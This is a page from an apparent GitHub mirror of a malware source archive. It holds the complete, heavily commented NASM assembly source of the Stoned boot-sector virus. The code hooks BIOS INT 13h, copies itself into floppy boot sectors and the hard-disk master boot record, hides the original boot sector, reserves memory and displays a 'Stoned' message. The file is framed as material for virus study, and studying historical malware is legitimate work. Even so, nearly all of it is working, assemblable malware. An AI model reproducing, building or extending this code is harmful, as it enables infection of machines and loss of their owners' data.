13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-07-05 09:52:02 +00:00
vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.stoned.asm

533 lines
20 KiB
NASM
Raw Normal View History

2021-01-12 23:58:25 +00:00
TITLE STONBOOT 1-4-80 [5-12-90]
PAGE 27,132
;*****************************************************************************
;
; *** NOT FOR GENERAL DISTRIBUTION *** The Stoned Virus
;
; This file is for the purpose of virus study only! It should not be passed
; around among the general public. It will be very useful for learning
; how viruses work and propagate. But anybody with access to an assembler
; can turn it into a working virus and anybody with a bit of assembly coding
; experience can turn it into a far more malevolent program than it already
; is. Keep this code in reasonable hands!
;
; This is a boot sector virus, and an extremely tiny one. It occupies only a
; single sector. On a diskette, it resides in the boot sector, and on a hard
; disk resides in the mastor boot record. It can be installed on a 5 1/4 inch
; diskette by copying the real boot sector to side 1, track 0, sector 3. This
; is the last sector used by the directory, and is usually not used. If the
; directory ever does expand into this area, then the real boot sector will be
; trashed, and the diskette will no longer be bootable. Once the boot sector
; is copied to the directory area, this code goes into the boot sector space
; at side 0, track 0, sector 1. The system is then transferred to the diskette
; and the diskette contains an activated virus. Once this diskette is used to
; boot up a system, it will become resident and infect other diskettes it
; sees. If the system contains a hard drive, it too will become infected.
;
; This virus does not contain any time bomb, but it can cause loss of data by
; wrecking a directory here or there.
;*****************************************************************************
LF EQU 0AH
CR EQU 0DH
XSEG SEGMENT AT 07C0h
ORG 5
NEWSEG LABEL FAR
XSEG ENDS
CODE SEGMENT
ASSUME DS:CODE, SS:CODE, CS:CODE, ES:CODE
ORG 0
;*****************************************************************************
; Execution begins here as a boot record. This means that its location and
; CS:IP will be 0000:7C00. The following two JMP instructions accomplish only
; a change in CS:IP so that CS is 07C0. The following two JMPs, and the
; segment definition of XSEG above are best not tampered with.
;*****************************************************************************
JMP FAR PTR NEWSEG ;This is exactly 5 bytes long. Don't change it
;The above line will jump to here, with a CS of 07C0 and an IP of 5
JMP JPBOOT ;Jump here at boot up time
;*****************************************************************************
; The following offsets:
; D_TYPE
; O_13_O
; O_13_S
; J_AD_O
; J_AD_S
; BT_ADD
; will be used to access their corresponding variables throughout the code.
; They will vary in different parts of the code, since the code relocates
; itself and the values in the segment registers will change. The actual
; variables are defined with a leading underscore, and should not be used. As
; the segment registers, and the offsets used to access them, change in the
; code, the offsets will be redefined with "=" operators. At each point, the
; particular segment register override needed to access the variables will be
; given.
;
; In this area, the variables should be accessed with the CS: segment override.
;******************************************************************************
D_TYPE = $ ;The type of disk we are booting from
_D_TYPE DB 0
OLD_13 EQU $
O_13_O = $ ;Old INT 13 vector offset
_O_13_O DW ?
O_13_S = $ ;Old INT 13 vector segment
_O_13_S DW ?
JMP_ADR EQU $
J_AD_O = $ ;Offset of the jump to relocated code
_J_AD_O DW OFFSET HI_JMP
J_AD_S = $ ;Segment of the jump to the relocated code
_J_AD_S DW ?
BT_ADD = $ ;Fixed address 0:7C00. Jump addr to boot sector
_BT_ADD DW 7C00h ;Boot address segment
DW 0000h ;Boot address offset
;**********************************************************
; The INT 13H vector gets hooked to here
;**********************************************************
NEW_13: PUSH DS
PUSH AX
CMP AH,2
JB REAL13 ;Restore regs & do real INT 13H
CMP AH,4
JNB REAL13 ;Restore regs & do real INT 13H
;*****************************************************************
; We only get here for service 2 or 3 - Disk read or write
;*****************************************************************
OR DL,DL
JNZ REAL13 ;Restore regs & do real INT 13H
;*****************************************************************
; And we only get here if it's happening to drive A:
;*****************************************************************
XOR AX,AX
MOV DS,AX
MOV AL,DS:43FH
TEST AL,1 ;Check to see if drive motor is on
JNZ REAL13 ;Restore regs & do real INT 13H
;******************************************************************
; We only get here if the drive motor is on.
;******************************************************************
CALL INFECT ;Try to infect the disk
;******************************************************************
; Restore regs & do real INT 13H
;******************************************************************
REAL13: POP AX
POP DS
JMP DWORD PTR CS:OLD_13
;**************************************************************
;*** See if we can infect the disk ***
;**************************************************************
INFECT PROC NEAR
PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH SI
PUSH DI
MOV SI,4 ;We'll try up to 4 times to read it
;***************************************************************
; Loop to try reading disk sector
;***************************************************************
RDLOOP: MOV AX,201H ;Read one sector...
PUSH CS
POP ES
MOV BX,200H ;...into a space at the end of the code
XOR CX,CX
MOV DX,CX ;Side 0, drive A
INC CX ;Track 0, sector 1
PUSHF
CALL DWORD PTR CS:OLD_13 ;Do the old INT 13
JNB RD_OK ;Disk read was OK
XOR AX,AX
PUSHF
CALL DWORD PTR CS:OLD_13 ;Reset disk
DEC SI ;Bump the counter
JNZ RDLOOP ;Loop to try reading disk sector
JMP SHORT QUIT ;Close up and return if all 4 tries failed
NOP
;******************************************************************************
; Here if disk read was OK. We got the boot sector. But is it already infected?
; Find out by comparing the first 4 bytes of the boot sector to the first 4
; bytes of this code. If they don't match exactly, infect the diskette.
;******************************************************************************
RD_OK: XOR SI,SI
MOV DI,200H
CLD
PUSH CS
POP DS
LODSW
CMP AX,[DI]
JNZ HIDEIT ;Hide floppy boot sector in directory
LODSW
CMP AX,[DI+2]
JZ QUIT ;Close up and return
;************************************************************
; Infect - Hide floppy boot sector in directory
;************************************************************
HIDEIT: MOV AX,301H ;Write 1 sector
MOV BX,200H ;From the space at the end of this code
MOV CL,3 ;To sector 3
MOV DH,1 ;Side 1
PUSHF
CALL DWORD PTR CS:OLD_13 ;Do the old INT 14
JB QUIT ;Close up and return if failed
;******************************************************************
; If write was sucessful, write this code to the boot sector area
;******************************************************************
MOV AX,301H ;Write 1 sector ...
XOR BX,BX ;...of this very code...
MOV CL,1 ;...to sector 1...
XOR DX,DX ;...of Side 0, drive A
PUSHF
CALL DWORD PTR CS:OLD_13 ;Do an old INT 13
; ***NOTE*** no test has been done for a sucessful write.
;***************************************************************
; Close up and return
;***************************************************************
QUIT: POP DI
POP SI
POP ES
POP DX
POP CX
POP BX
RET
INFECT ENDP
;****************************************************************
;*** Jump here at boot up time
;****************************************************************
;*****************************************************************************
; Redefine the variable offsets. The code here executes in the memory area
; used by the normal boot sector. The variable offsets have an assembled
; value of the order 7Cxx. Access them here through the DS: segment override
;*****************************************************************************
D_TYPE = 07C00h + OFFSET _D_TYPE
O_13_O = 07C00h + OFFSET _O_13_O
O_13_S = 07C00h + OFFSET _O_13_S
J_AD_O = 07C00h + OFFSET _J_AD_O
J_AD_S = 07C00h + OFFSET _J_AD_S
BT_ADD = 07C00h + OFFSET _BT_ADD
JPBOOT: XOR AX,AX
MOV DS,AX ;DS = 0
;*********************************************************
; Set up a usable stack
;*********************************************************
CLI
MOV SS,AX ;SS = 0
MOV SP,OFFSET 7C00H ;Position stack at 0000:7C00
STI
;*********************************************************
; Capture the INT 13 vector (BIOS disk I/O)
;*********************************************************
MOV AX,DS:4CH ;Offset for old INT 13 vector
MOV DS:O_13_O,AX ;Save the offset
MOV AX,DS:4EH ;Segment for old INT 13 vector
MOV DS:O_13_S,AX ;Save the segment
;*****************************************************************************
; Decrease the memory available to DOS by 2K. Only 1K really seems needed, but
; stealing an odd number of K would result in an odd number shown available
; when a CHKDSK is run. This might be too obvious. Or the programmer may have
; had other plans for the memory.
;*****************************************************************************
MOV AX,DS:413H ;BIOS' internal count of available memory
DEC AX
DEC AX ;Drop it by 2K ...
MOV DS:413H,AX ;...and store it (steal it!!)
;*********************************************************
; Find the segment of the stolen memory
;*********************************************************
MOV CL,6
SHL AX,CL
MOV ES,AX
;*********************************************************
; Use the segment of the stolen memory area
;*********************************************************
MOV DS:J_AD_S,AX ;Becomes part of a JMP address
MOV AX,OFFSET NEW_13
MOV DS:4CH,AX ;Offset for new INT 13
MOV DS:4EH,ES ;Segment for new INT 13
;****************************************************************
;Copy the code from 07C0:0000 to ES:0000 (the stolen memory area)
;****************************************************************
MOV CX,OFFSET END_BYT ;The size of the code (# of bytes to move)
PUSH CS
POP DS ;DS = CS
XOR SI,SI
MOV DI,SI ;All offsets of block move areas are 0
CLD
REPZ MOVSB ;Copy each byte of code to the top of memory
JMP DWORD PTR CS:JMP_ADR ;JMP to the transferred code...
;**************************************************************
; ...and we'll jump right here, to the transferred code
;**************************************************************
;****************************************************************************
; Redefine variable offsets again. This code executes at the top of memory,
; and so the exact value of the segment registers depends on how much memory
; is installed. The variable offsets have an assembled value of the order of
; 00xx. They are accessed using the CS: segment override
;****************************************************************************
D_TYPE = OFFSET _D_TYPE
O_13_O = OFFSET _O_13_O
O_13_S = OFFSET _O_13_S
J_AD_O = OFFSET _J_AD_O
J_AD_S = OFFSET _J_AD_S
BT_ADD = OFFSET _BT_ADD
HI_JMP: MOV AX,0
INT 13H ;Reset disk system
;**********************************************************************
; This will read one sector into 0000:7C00 (the boot sector address)
;**********************************************************************
XOR AX,AX
MOV ES,AX
MOV AX,201H ;Read one sector
MOV BX,OFFSET 7C00H ;To boot sector area: 0000:7C00
CMP BYTE PTR CS:D_TYPE,0 ;Booting from diskette or hard drive?
JZ DISKET ;If booting from a diskette
;******************************************************
; Booting from a hard drive
;******************************************************
MOV CX,7 ;Track 0, sector 7
MOV DX,80H ;Hard drive, side 0
INT 13H ;Go get it
; ***NOTE** There was no check as to wether or not the read was sucessful
JMP SHORT BOOTUP ;Go run the real boot sector we've installed
NOP
;******************************************************
; Booting from a diskette
;******************************************************
DISKET: MOV CX,3 ;Track 0, sector 3
MOV DX,100H ;A drive, side 1 (last sector of the directory)
INT 13H ;Go get it
JB BOOTUP ;If read error, run it anyway.(???) (A prank?)
;****************************************************************
;Wether or not we print the "Stoned" message depends on the value
; of a byte in the internal clock time -- a fairly random event.
;****************************************************************
TEST BYTE PTR ES:46CH,7 ;Test a bit in the clock time
JNZ GETHDB ;Get Hard drive boot sector
;**************************************************************
; Print the message
;**************************************************************
MOV SI,OFFSET S_MSG ;Address of the "stoned message"
PUSH CS
POP DS
;**************************************************************
; Loop to print individual characters
;**************************************************************
PRINT1: LODSB
OR AL,AL ;A 00 byte means quit the loop
JZ GETHDB ;Get Hard drive boot sector, then
;**************************************************************
; Not done looping. Print another character
;**************************************************************
MOV AH,0EH
MOV BH,0
INT 10H
JMP SHORT PRINT1 ;Print a character on screen
;**************************************************************
; Get Hard drive boot sector
;**************************************************************
GETHDB: PUSH CS
POP ES
MOV AX,201H ;Read one sector...
MOV BX,200H ;...to the buffer following this code...
MOV CL,1 ;...from sector 1...
MOV DX,80H ;...side 0, of the hard drive
INT 13H
JB BOOTUP ;If error, assume no hard drive
; So go run the floppy boot sector
;***************************************************************************
; If no read error, then there really must be a hard drive. Infect it. The
; following code uses the same trick above where the first 4 bytes of the
; boot sector are compared to the first 4 bytes of this code. If they don't
; match exactly, then this hard drive isn't infected.
;***************************************************************************
PUSH CS
POP DS
MOV SI,200H
MOV DI,0
LODSW
CMP AX,[DI]
JNZ HIDEHD ;Hide real boot sector in hard drive
LODSW
CMP AX,[DI+2]
JNZ HIDEHD ;Hide real boot sector in hard drive
;**************************************************************
; Go run the real boot sector
;**************************************************************
BOOTUP: MOV BYTE PTR CS:D_TYPE,0
JMP DWORD PTR CS:BT_ADD
;**************************************************************
; Infect - Hide real boot sector in hard drive
;**************************************************************
HIDEHD: MOV BYTE PTR CS:D_TYPE,2 ;Mark this as a hard drive infection
MOV AX,301H ;Write i sector...
MOV BX,200H ;...from the buffer following this code...
MOV CX,7 ;...to track 0, sector 7...
MOV DX,80H ;...side 0, of the hard drive...
INT 13H ;Do it
JB BOOTUP ;Go run the real boot sector if failed
;**************************************************
; Here if the boot sector got written successfully
;***************************************************
PUSH CS
POP DS
PUSH CS
POP ES
MOV SI,3BEH ;Offset of disk partition table in the buffer
MOV DI,1BEH ;Copy it to the same offset in this code
MOV CX,242H ;Strange. Only need to move 42H bytes. This
; won't hurt, and will overwrite the copy of
; the boot sector, maybe giving a bit more
; concealment.
REPZ MOVSB ;Move them
MOV AX,301H ;Write 1 sector...
XOR BX,BX ;...of this code...
INC CL ;...into sector 1
INT 13H
; ***NOTE*** no check for a sucessful write
JMP BOOTUP ;Now run the real boot sector
S_MSG DB 7,'Your PC is now Stoned!',7,CR,LF
DB LF
;*************************************************************************
; Just garbage. In one version, this contained an extension of the above
; string, saying "LEGALIZE MARIJUANA". Some portions of this text remain
;*************************************************************************
DB 0,4CH,45H,47H,41H
DB 4CH,49H,53H,45H,67H
DB 2,4,68H,2,68H
DB 2,0BH,5,67H,2
END_BYT EQU $ ;Used to determine the size of the code. It
; must be less than 1BE, or this code is too
; large to be used to infect hard disks. From
; offset 1BE and above, the hard disk partition
; table will be copied, and anything placed
; there will get clobbered.
CODE ENDS
END